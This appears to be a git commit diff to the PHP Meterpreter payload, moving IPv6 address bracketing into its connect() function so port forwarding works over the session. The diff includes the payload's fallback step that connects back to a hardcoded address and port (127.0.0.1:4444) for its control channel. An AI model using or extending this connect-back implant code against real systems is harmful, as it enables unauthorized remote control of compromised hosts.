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Move IPv6 handling into connect()

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This allows portfwd and friends to work through the session.
This commit is contained in:
James Lee 2012-01-31 02:42:50 -07:00
parent 659093fc95
commit 9d0c333653
1 changed files with 17 additions and 9 deletions
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26
php/meterpreter/meterpreter.php
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@ -730,6 +730,17 @@ function register_stream($stream, $ipaddr=null, $port=null) {
function connect($ipaddr, $port, $proto='tcp') {
my_print("Doing connect($ipaddr, $port)");
$sock = false;
# IPv6 requires brackets around the address in some cases, but not all.
# Keep track of the un-bracketed address for the functions that don't like
# brackets, specifically socket_connect and socket_sendto.
$ipf = AF_INET;
$raw_ip = $ipaddr;
if (FALSE !== strpos($ipaddr, ":")) {
$ipf = AF_INET6;
$ipaddr = "[". $raw_ip ."]";
}
# Prefer the stream versions so we don't have to use both select functions
# unnecessarily, but fall back to socket_create if they aren't available.
if (is_callable('stream_socket_client')) {
@ -759,16 +770,17 @@ function connect($ipaddr, $port, $proto='tcp') {
if (!$sock) { return false; }
register_stream($sock, $ipaddr, $port);
}
} elseif (is_callable('socket_create')) {
} else
if (is_callable('socket_create')) {
my_print("socket_create");
if ($proto == 'tcp') {
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$res = socket_connect($sock, $ipaddr, $port);
$sock = socket_create($ipf, SOCK_STREAM, SOL_TCP);
$res = socket_connect($sock, $raw_ip, $port);
if (!$res) { return false; }
register_socket($sock);
} elseif ($proto == 'udp') {
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
register_socket($sock, $ipaddr, $port);
$sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP);
register_socket($sock, $raw_ip, $port);
}
}
@ -1066,10 +1078,6 @@ if (!isset($GLOBALS['msgsock'])) {
$ipaddr = '127.0.0.1';
$port = 4444;
my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
if (FALSE !== strpos($ipaddr,":")) {
# ipv6 requires brackets around the address
$ipaddr = "[".$ipaddr."]";
}
$msgsock = connect($ipaddr, $port);
if (!$msgsock) { die(); }
} else {